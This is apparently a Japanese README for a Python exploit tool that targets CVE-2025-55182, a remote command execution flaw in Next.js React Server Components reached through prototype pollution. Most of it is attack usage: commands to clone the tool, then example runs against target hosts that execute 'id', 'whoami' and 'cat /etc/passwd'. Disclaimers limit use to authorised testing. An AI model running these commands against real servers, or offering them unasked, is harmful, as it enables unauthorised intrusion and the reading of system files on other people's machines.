
Next.jsの脆弱性CVE-2025-55182を悪用するツールで、React Server Componentsにおけるプロトタイプ汚染を介したリモートコマンド実行を可能にします。
Next.js React Server Components のRCE脆弱性を狙ったPythonエクスプロイト。HTTP/HTTPS対応。
# Clone & run
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<command>"
# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"
# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"
許可されたセキュリティテスト専用です。
自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。違法行為に使用しないでください。
child_process.execSync() を介してRCEをトリガーMITライセンス - LICENSEファイルを参照
免責事項: 教育目的のみ。常に適切な許可を得てください。
最終更新日: 2025年2月8日
バージョン: 2.0.0
メンテナー: BrianLopezM99